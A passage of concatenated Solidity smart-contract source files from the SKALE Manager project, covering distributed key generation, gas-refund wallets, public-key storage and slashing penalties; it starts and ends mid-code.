"Node is already alright"); dkgProcess[schainHash].completed[index] = true; dkgProcess[schainHash].numberOfCompleted++; emit AllDataReceived(schainHash, fromNodeIndex); if (dkgProcess[schainHash].numberOfCompleted == numberOfParticipant) { lastSuccessfulDKG[schainHash] = now; channels[schainHash].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainHash); emit SuccessfulDKG(schainHash); } } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKG.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./delegation/Punisher.sol"; import "./SlashingTable.sol"; import "./Schains.sol"; import "./SchainsInternal.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./KeyStorage.sol"; import "./interfaces/ISkaleDKG.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./Wallets.sol"; import "./dkg/SkaleDkgAlright.sol"; import "./dkg/SkaleDkgBroadcast.sol"; import "./dkg/SkaleDkgComplaint.sol"; import "./dkg/SkaleDkgPreResponse.sol"; import "./dkg/SkaleDkgResponse.sol"; /** * @title SkaleDKG * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ contract SkaleDKG is Permissions, ISkaleDKG { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; enum DkgFunction {Broadcast, Alright, ComplaintBadData, PreResponse, Complaint, Response} struct Channel { bool active; uint n; uint startedBlockTimestamp; uint startedBlock; } struct ProcessDKG { uint numberOfBroadcasted; uint numberOfCompleted; bool[] broadcasted; bool[] completed; } struct ComplaintData { uint nodeToComplaint; uint fromNodeToComplaint; uint startComplaintBlockTimestamp; bool isResponse; bytes32 keyShare; G2Operations.G2Point sumOfVerVec; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } struct Context { bool isDebt; uint delta; DkgFunction dkgFunction; } uint public constant COMPLAINT_TIMELIMIT = 1800; mapping(bytes32 => Channel) public channels; mapping(bytes32 => uint) public lastSuccessfulDKG; mapping(bytes32 => ProcessDKG) public dkgProcess; mapping(bytes32 => ComplaintData) public complaints; mapping(bytes32 => uint) public startAlrightTimestamp; mapping(bytes32 => mapping(uint => bytes32)) public hashedData; mapping(bytes32 => uint) private _badNodes; /** * @dev Emitted when a channel is opened. */ event ChannelOpened(bytes32 schainHash); /** * @dev Emitted when a channel is closed. */ event ChannelClosed(bytes32 schainHash); /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainHash, uint indexed fromNode, G2Operations.G2Point[] verificationVector, KeyShare[] secretKeyContribution ); /** * @dev Emitted when all group data is received by node. */ event AllDataReceived(bytes32 indexed schainHash, uint nodeIndex); /** * @dev Emitted when DKG is successful. */ event SuccessfulDKG(bytes32 indexed schainHash); /** * @dev Emitted when a complaint against a node is verified. */ event BadGuy(uint nodeIndex); /** * @dev Emitted when DKG failed. */ event FailedDKG(bytes32 indexed schainHash); /** * @dev Emitted when a new node is rotated in. */ event NewGuy(uint nodeIndex); /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainHash, uint indexed fromNodeIndex, uint indexed toNodeIndex); modifier correctGroup(bytes32 schainHash) { require(channels[schainHash].active, "Group is not created"); _; } modifier correctGroupWithoutRevert(bytes32 schainHash) { if (!channels[schainHash].active) { emit ComplaintError("Group is not created"); } else { _; } } modifier correctNode(bytes32 schainHash, uint nodeIndex) { (uint index, ) = checkAndReturnIndexInGroup(schainHash, nodeIndex, true); _; } modifier correctNodeWithoutRevert(bytes32 schainHash, uint nodeIndex) { (, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); if (!check) { emit ComplaintError("Node is not in this group"); } else { _; } } modifier onlyNodeOwner(uint nodeIndex) { _checkMsgSenderIsNodeOwner(nodeIndex); _; } modifier refundGasBySchain(bytes32 schainHash, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainHash, gasTotal, context); } modifier refundGasByValidatorToSchain(bytes32 schainHash, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainHash, gasTotal, context); _refundGasByValidatorToSchain(schainHash); } function alright(bytes32 schainHash, uint fromNodeIndex) external refundGasBySchain(schainHash, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).ALRIGHT_DELTA(), dkgFunction: DkgFunction.Alright })) correctGroup(schainHash) onlyNodeOwner(fromNodeIndex) { SkaleDkgAlright.alright( schainHash, fromNodeIndex, contractManager, channels, dkgProcess, complaints, lastSuccessfulDKG ); } function broadcast( bytes32 schainHash, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, KeyShare[] memory secretKeyContribution ) external refundGasBySchain(schainHash, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).BROADCAST_DELTA(), dkgFunction: DkgFunction.Broadcast })) correctGroup(schainHash) onlyNodeOwner(nodeIndex) { SkaleDkgBroadcast.broadcast( schainHash, nodeIndex, verificationVector, secretKeyContribution, contractManager, channels, dkgProcess, hashedData ); } function complaintBadData(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex) external refundGasBySchain( schainHash, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_BAD_DATA_DELTA(), dkgFunction: DkgFunction.ComplaintBadData })) correctGroupWithoutRevert(schainHash) correctNode(schainHash, fromNodeIndex) correctNodeWithoutRevert(schainHash, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaintBadData( schainHash, fromNodeIndex, toNodeIndex, contractManager, complaints ); } function preResponse( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, KeyShare[] memory secretKeyContribution ) external refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).PRE_RESPONSE_DELTA(), dkgFunction: DkgFunction.PreResponse })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgPreResponse.preResponse( schainId, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, contractManager, complaints, hashedData ); } function complaint(bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex) external refundGasByValidatorToSchain( schainHash, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_DELTA(), dkgFunction: DkgFunction.Complaint })) correctGroupWithoutRevert(schainHash) correctNode(schainHash, fromNodeIndex) correctNodeWithoutRevert(schainHash, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaint( schainHash, fromNodeIndex, toNodeIndex, contractManager, channels, complaints, startAlrightTimestamp ); } function response( bytes32 schainHash, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare ) external refundGasByValidatorToSchain( schainHash, Context({isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).RESPONSE_DELTA(), dkgFunction: DkgFunction.Response })) correctGroup(schainHash) onlyNodeOwner(fromNodeIndex) { SkaleDkgResponse.response( schainHash, fromNodeIndex, secretNumber, multipliedShare, contractManager, channels, complaints ); } /** * @dev Allows Schains and NodeRotation contracts to open a channel. * * Emits a {ChannelOpened} event. * * Requirements: * * - Channel is not already created. */ function openChannel(bytes32 schainHash) external override allowTwo("Schains","NodeRotation") { _openChannel(schainHash); } /** * @dev Allows SchainsInternal contract to delete a channel. * * Requirements: * * - Channel must exist. */ function deleteChannel(bytes32 schainHash) external override allow("SchainsInternal") { delete channels[schainHash]; delete dkgProcess[schainHash]; delete complaints[schainHash]; KeyStorage(contractManager.getContract("KeyStorage")).deleteKey(schainHash); } function setStartAlrightTimestamp(bytes32 schainHash) external allow("SkaleDKG") { startAlrightTimestamp[schainHash] = now; } function setBadNode(bytes32 schainHash, uint nodeIndex) external allow("SkaleDKG") { _badNodes[schainHash] = nodeIndex; } function finalizeSlashing(bytes32 schainHash, uint badNode) external allow("SkaleDKG") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); emit BadGuy(badNode); emit FailedDKG(schainHash); schainsInternal.makeSchainNodesInvisible(schainHash); if (schainsInternal.isAnyFreeNode(schainHash)) { uint newNode = nodeRotation.rotateNode( badNode, schainHash, false, true ); emit NewGuy(newNode); } else { _openChannel(schainHash); schainsInternal.removeNodeFromSchain( badNode, schainHash ); channels[schainHash].active = false; } schainsInternal.makeSchainNodesVisible(schainHash); Punisher(contractManager.getPunisher()).slash( Nodes(contractManager.getContract("Nodes")).getValidatorId(badNode), SlashingTable(contractManager.getContract("SlashingTable")).getPenalty("FailedDKG") ); } function getChannelStartedTime(bytes32 schainHash) external view returns (uint) { return channels[schainHash].startedBlockTimestamp; } function getChannelStartedBlock(bytes32 schainHash) external view returns (uint) { return channels[schainHash].startedBlock; } function getNumberOfBroadcasted(bytes32 schainHash) external view returns (uint) { return dkgProcess[schainHash].numberOfBroadcasted; } function getNumberOfCompleted(bytes32 schainHash) external view returns (uint) { return dkgProcess[schainHash].numberOfCompleted; } function getTimeOfLastSuccessfulDKG(bytes32 schainHash) external view returns (uint) { return lastSuccessfulDKG[schainHash]; } function getComplaintData(bytes32 schainHash) external view returns (uint, uint) { return (complaints[schainHash].fromNodeToComplaint, complaints[schainHash].nodeToComplaint); } function getComplaintStartedTime(bytes32 schainHash) external view returns (uint) { return complaints[schainHash].startComplaintBlockTimestamp; } function getAlrightStartedTime(bytes32 schainHash) external view returns (uint) { return startAlrightTimestamp[schainHash]; } /** * @dev Checks whether channel is opened. */ function isChannelOpened(bytes32 schainHash) external override view returns (bool) { return channels[schainHash].active; } function isLastDKGSuccessful(bytes32 schainHash) external override view returns (bool) { return channels[schainHash].startedBlockTimestamp <= lastSuccessfulDKG[schainHash]; } /** * @dev Checks whether broadcast is possible. */ function isBroadcastPossible(bytes32 schainHash, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return channels[schainHash].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && !dkgProcess[schainHash].broadcasted[index]; } /** * @dev Checks whether complaint is possible. */ function isComplaintPossible( bytes32 schainHash, uint fromNodeIndex, uint toNodeIndex ) external view returns (bool) { (uint indexFrom, bool checkFrom) = checkAndReturnIndexInGroup(schainHash, fromNodeIndex, false); (uint indexTo, bool checkTo) = checkAndReturnIndexInGroup(schainHash, toNodeIndex, false); if (!checkFrom || !checkTo) return false; bool complaintSending = ( complaints[schainHash].nodeToComplaint == uint(-1) && dkgProcess[schainHash].broadcasted[indexTo] && !dkgProcess[schainHash].completed[indexFrom] ) || ( dkgProcess[schainHash].broadcasted[indexTo] && complaints[schainHash].startComplaintBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp && complaints[schainHash].nodeToComplaint == toNodeIndex ) || ( !dkgProcess[schainHash].broadcasted[indexTo] && complaints[schainHash].nodeToComplaint == uint(-1) && channels[schainHash].startedBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp ) || ( complaints[schainHash].nodeToComplaint == uint(-1) && isEveryoneBroadcasted(schainHash) && dkgProcess[schainHash].completed[indexFrom] && !dkgProcess[schainHash].completed[indexTo] && startAlrightTimestamp[schainHash].add(_getComplaintTimelimit()) <= block.timestamp ); return channels[schainHash].active && dkgProcess[schainHash].broadcasted[indexFrom] && _isNodeOwnedByMessageSender(fromNodeIndex, msg.sender) && complaintSending; } /** * @dev Checks whether sending Alright response is possible. */ function isAlrightPossible(bytes32 schainHash, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return channels[schainHash].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && channels[schainHash].n == dkgProcess[schainHash].numberOfBroadcasted && (complaints[schainHash].fromNodeToComplaint != nodeIndex || (nodeIndex == 0 && complaints[schainHash].startComplaintBlockTimestamp == 0)) && !dkgProcess[schainHash].completed[index]; } /** * @dev Checks whether sending a pre-response is possible. */ function isPreResponsePossible(bytes32 schainHash, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return channels[schainHash].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainHash].nodeToComplaint == nodeIndex && !complaints[schainHash].isResponse; } /** * @dev Checks whether sending a response is possible. */ function isResponsePossible(bytes32 schainHash, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return channels[schainHash].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainHash].nodeToComplaint == nodeIndex && complaints[schainHash].isResponse; } function isNodeBroadcasted(bytes32 schainHash, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return check && dkgProcess[schainHash].broadcasted[index]; } /** * @dev Checks whether all data has been received by node. */ function isAllDataReceived(bytes32 schainHash, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainHash, nodeIndex, false); return check && dkgProcess[schainHash].completed[index]; } function hashData( KeyShare[] memory secretKeyContribution, G2Operations.G2Point[] memory verificationVector ) external pure returns (bytes32) { bytes memory data; for (uint i = 0; i < secretKeyContribution.length; i++) { data = abi.encodePacked(data, secretKeyContribution[i].publicKey, secretKeyContribution[i].share); } for (uint i = 0; i < verificationVector.length; i++) { data = abi.encodePacked( data, verificationVector[i].x.a, verificationVector[i].x.b, verificationVector[i].y.a, verificationVector[i].y.b ); } return keccak256(data); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function checkAndReturnIndexInGroup( bytes32 schainHash, uint nodeIndex, bool revertCheck ) public view returns (uint, bool) { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainHash, nodeIndex); if (index >= channels[schainHash].n && revertCheck) { revert("Node is not in this group"); } return (index, index < channels[schainHash].n); } function _refundGasBySchain(bytes32 schainHash, uint gasTotal, Context memory context) private { Wallets wallets = Wallets(payable(contractManager.getContract("Wallets"))); bool isLastNode = channels[schainHash].n == dkgProcess[schainHash].numberOfCompleted; if (context.dkgFunction == DkgFunction.Alright && isLastNode) { wallets.refundGasBySchain( schainHash, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(74800), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 14e5) { wallets.refundGasBySchain( schainHash, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(590000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 7e5) { wallets.refundGasBySchain( schainHash, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(250000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Response){ wallets.refundGasBySchain( schainHash, msg.sender, gasTotal.sub(gasleft()).sub(context.delta), context.isDebt ); } else { wallets.refundGasBySchain( schainHash, msg.sender, gasTotal.sub(gasleft()).add(context.delta), context.isDebt ); } } function _refundGasByValidatorToSchain(bytes32 schainHash) private { uint validatorId = Nodes(contractManager.getContract("Nodes")) .getValidatorId(_badNodes[schainHash]); Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidatorToSchain(validatorId, schainHash); delete _badNodes[schainHash]; } function _openChannel(bytes32 schainHash) private { SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); uint len = schainsInternal.getNumberOfNodesInGroup(schainHash); channels[schainHash].active = true; channels[schainHash].n = len; delete dkgProcess[schainHash].completed; delete dkgProcess[schainHash].broadcasted; dkgProcess[schainHash].broadcasted = new bool[](len); dkgProcess[schainHash].completed = new bool[](len); complaints[schainHash].fromNodeToComplaint = uint(-1); complaints[schainHash].nodeToComplaint = uint(-1); delete complaints[schainHash].startComplaintBlockTimestamp; delete dkgProcess[schainHash].numberOfBroadcasted; delete dkgProcess[schainHash].numberOfCompleted; channels[schainHash].startedBlockTimestamp = now; channels[schainHash].startedBlock = block.number; KeyStorage(contractManager.getContract("KeyStorage")).initPublicKeyInProgress(schainHash); emit ChannelOpened(schainHash); } function isEveryoneBroadcasted(bytes32 schainHash) public view returns (bool) { return channels[schainHash].n == dkgProcess[schainHash].numberOfBroadcasted; } function _isNodeOwnedByMessageSender(uint nodeIndex, address from) private view returns (bool) { return Nodes(contractManager.getContract("Nodes")).isNodeExist(from, nodeIndex); } function _checkMsgSenderIsNodeOwner(uint nodeIndex) private view { require(_isNodeOwnedByMessageSender(nodeIndex, msg.sender), "Node does not exist for message sender"); } function _getComplaintTimelimit() private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* Wallets.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@skalenetwork/skale-manager-interfaces/IWallets.sol"; import "./Permissions.sol"; import "./delegation/ValidatorService.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * @title Wallets * @dev Contract contains logic to perform automatic self-recharging ether for nodes */ contract Wallets is Permissions, IWallets { mapping (uint => uint) private _validatorWallets; mapping (bytes32 => uint) private _schainWallets; mapping (bytes32 => uint) private _schainDebts; /** * @dev Emitted when the validator wallet was funded */ event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId); /** * @dev Emitted when the schain wallet was funded */ event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainHash); /** * @dev Emitted when the node received a refund from validator to its wallet */ event NodeRefundedByValidator(address node, uint validatorId, uint amount); /** * @dev Emitted when the node received a refund from schain to its wallet */ event NodeRefundedBySchain(address node, bytes32 schainHash, uint amount); /** * @dev Is executed on a call to the contract with empty calldata. * This is the function that is executed on plain Ether transfers, * so validator or schain owner can use usual transfer ether to recharge wallet. */ receive() external payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32[] memory schainHashs = schainsInternal.getSchainHashsByAddress(msg.sender); if (schainHashs.length == 1) { rechargeSchainWallet(schainHashs[0]); } else { uint validatorId = validatorService.getValidatorId(msg.sender); rechargeValidatorWallet(validatorId); } } /** * @dev Reimburse gas for node by validator wallet. If validator wallet has not enough funds * the node will receive the entire remaining amount in the validator's wallet. * `validatorId` - validator that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * * Emits a {NodeRefundedByValidator} event. * * Requirements: * - Given validator should exist */ function refundGasByValidator( uint validatorId, address payable spender, uint spentGas ) external allowTwo("SkaleManager", "SkaleDKG") { require(validatorId != 0, "ValidatorId could not be zero"); uint amount = tx.gasprice * spentGas; if (amount <= _validatorWallets[validatorId]) { _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); emit NodeRefundedByValidator(spender, validatorId, amount); spender.transfer(amount); } else { uint wholeAmount = _validatorWallets[validatorId]; // solhint-disable-next-line reentrancy delete _validatorWallets[validatorId]; emit NodeRefundedByValidator(spender, validatorId, wholeAmount); spender.transfer(wholeAmount); } } /** * @dev Returns the amount owed to the owner of the chain by the validator, * if the validator does not have enough funds, then everything * that the validator has will be returned to the owner of the chain. */ function refundGasByValidatorToSchain(uint validatorId, bytes32 schainHash) external allow("SkaleDKG") { uint debtAmount = _schainDebts[schainHash]; uint validatorWallet = _validatorWallets[validatorId]; if (debtAmount <= validatorWallet) { _validatorWallets[validatorId] = validatorWallet.sub(debtAmount); } else { debtAmount = validatorWallet; delete _validatorWallets[validatorId]; } _schainWallets[schainHash] = _schainWallets[schainHash].add(debtAmount); delete _schainDebts[schainHash]; } /** * @dev Reimburse gas for node by schain wallet. If schain wallet has not enough funds * than transaction will be reverted. * `schainHash` - schain that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * `isDebt` - parameter that indicates whether this amount should be recorded as debt for the validator * * Emits a {NodeRefundedBySchain} event. * * Requirements: * - Given schain should exist * - Schain wallet should have enough funds */ function refundGasBySchain( bytes32 schainHash, address payable spender, uint spentGas, bool isDebt ) external override allowTwo("SkaleDKG", "MessageProxyForMainnet") { uint amount = tx.gasprice * spentGas; if (isDebt) { amount += (_schainDebts[schainHash] == 0 ? 21000 : 6000) * tx.gasprice; _schainDebts[schainHash] = _schainDebts[schainHash].add(amount); } require(schainHash != bytes32(0), "SchainHash cannot be null"); require(amount <= _schainWallets[schainHash], "Schain wallet has not enough funds"); _schainWallets[schainHash] = _schainWallets[schainHash].sub(amount); emit NodeRefundedBySchain(spender, schainHash, amount); spender.transfer(amount); } /** * @dev Withdraws money from schain wallet. Possible to execute only after deleting schain. * `schainOwner` - address of schain owner that will receive rest of the schain balance * `schainHash` - schain wallet from which money is withdrawn * * Requirements: * - Executable only after initing delete schain */ function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainHash) external allow("Schains") { uint amount = _schainWallets[schainHash]; delete _schainWallets[schainHash]; schainOwner.transfer(amount); } /** * @dev Withdraws money from vaildator wallet. * `amount` - the amount of money in wei * * Requirements: * - Validator must have sufficient withdrawal amount */ function withdrawFundsFromValidatorWallet(uint amount) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint validatorId = validatorService.getValidatorId(msg.sender); require(amount <= _validatorWallets[validatorId], "Balance is too low"); _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); msg.sender.transfer(amount); } function getSchainBalance(bytes32 schainHash) external view returns (uint) { return _schainWallets[schainHash]; } function getValidatorBalance(uint validatorId) external view returns (uint) { return _validatorWallets[validatorId]; } /** * @dev Recharge the validator wallet by id. * `validatorId` - id of existing validator. * * Emits a {ValidatorWalletRecharged} event. * * Requirements: * - Given validator must exist */ function rechargeValidatorWallet(uint validatorId) public payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); require(validatorService.validatorExists(validatorId), "Validator does not exists"); _validatorWallets[validatorId] = _validatorWallets[validatorId].add(msg.value); emit ValidatorWalletRecharged(msg.sender, msg.value, validatorId); } /** * @dev Recharge the schain wallet by schainHash (hash of schain name). * `schainHash` - id of existing schain. * * Emits a {SchainWalletRecharged} event. * * Requirements: * - Given schain must be created */ function rechargeSchainWallet(bytes32 schainHash) public payable override { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainActive(schainHash), "Schain should be active for recharging"); _schainWallets[schainHash] = _schainWallets[schainHash].add(msg.value); emit SchainWalletRecharged(msg.sender, msg.value, schainHash); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* KeyStorage.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Decryption.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; contract KeyStorage is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; struct BroadcastedData { KeyShare[] secretKeyContribution; G2Operations.G2Point[] verificationVector; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } // Unused variable!! mapping(bytes32 => mapping(uint => BroadcastedData)) private _data; // mapping(bytes32 => G2Operations.G2Point) private _publicKeysInProgress; mapping(bytes32 => G2Operations.G2Point) private _schainsPublicKeys; // Unused variable mapping(bytes32 => G2Operations.G2Point[]) private _schainsNodesPublicKeys; // mapping(bytes32 => G2Operations.G2Point[]) private _previousSchainsPublicKeys; function deleteKey(bytes32 schainHash) external allow("SkaleDKG") { _previousSchainsPublicKeys[schainHash].push(_schainsPublicKeys[schainHash]); delete _schainsPublicKeys[schainHash]; delete _data[schainHash][0]; delete _schainsNodesPublicKeys[schainHash]; } function initPublicKeyInProgress(bytes32 schainHash) external allow("SkaleDKG") { _publicKeysInProgress[schainHash] = G2Operations.getG2Zero(); } function adding(bytes32 schainHash, G2Operations.G2Point memory value) external allow("SkaleDKG") { require(value.isG2(), "Incorrect g2 point"); _publicKeysInProgress[schainHash] = value.addG2(_publicKeysInProgress[schainHash]); } function finalizePublicKey(bytes32 schainHash) external allow("SkaleDKG") { if (!_isSchainsPublicKeyZero(schainHash)) { _previousSchainsPublicKeys[schainHash].push(_schainsPublicKeys[schainHash]); } _schainsPublicKeys[schainHash] = _publicKeysInProgress[schainHash]; delete _publicKeysInProgress[schainHash]; } function getCommonPublicKey(bytes32 schainHash) external view returns (G2Operations.G2Point memory) { return _schainsPublicKeys[schainHash]; } function getPreviousPublicKey(bytes32 schainHash) external view returns (G2Operations.G2Point memory) { uint length = _previousSchainsPublicKeys[schainHash].length; if (length == 0) { return G2Operations.getG2Zero(); } return _previousSchainsPublicKeys[schainHash][length - 1]; } function getAllPreviousPublicKeys(bytes32 schainHash) external view returns (G2Operations.G2Point[] memory) { return _previousSchainsPublicKeys[schainHash]; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function _isSchainsPublicKeyZero(bytes32 schainHash) private view returns (bool) { return _schainsPublicKeys[schainHash].x.a == 0 && _schainsPublicKeys[schainHash].x.b == 0 && _schainsPublicKeys[schainHash].y.a == 0 && _schainsPublicKeys[schainHash].y.b == 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SlashingTable.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./ConstantsHolder.sol"; /** * @title Slashing Table * @dev This contract manages slashing conditions and penalties. */ contract SlashingTable is Permissions { mapping (uint => uint) private _penalties; bytes32 public constant PENALTY_SETTER_ROLE = keccak256("PENALTY_SETTER_ROLE"); /** * @dev Allows the Owner to set a slashing penalty in SKL tokens for a * given offense. */ function setPenalty(string calldata offense, uint penalty) external { require(hasRole(PENALTY_SETTER_ROLE, msg.sender), "PENALTY_SETTER_ROLE is required"); _penalties[uint(keccak256(abi.encodePacked(offense)))] = penalty; } /** * @dev Returns the penalty in SKL tokens for a given offense. */ function getPenalty(string calldata offense) external view returns (uint) { uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))]; return penalty; } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* Schains.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@skalenetwork/skale-manager-interfaces/ISchains.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./ConstantsHolder.sol"; import "./KeyStorage.sol"; import "./SkaleVerifier.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./interfaces/ISkaleDKG.sol"; import "./Wallets.sol"; /** * @title Schains * @dev Contains functions to manage Schains such as Schain creation, * deletion, and rotation. */ contract Schains is Permissions, ISchains { struct SchainParameters { uint lifetime; uint8 typeOfSchain; uint16 nonce; string name; } bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE"); /** * @dev Emitted when an schain is created. */ event SchainCreated( string name, address owner, uint partOfNode, 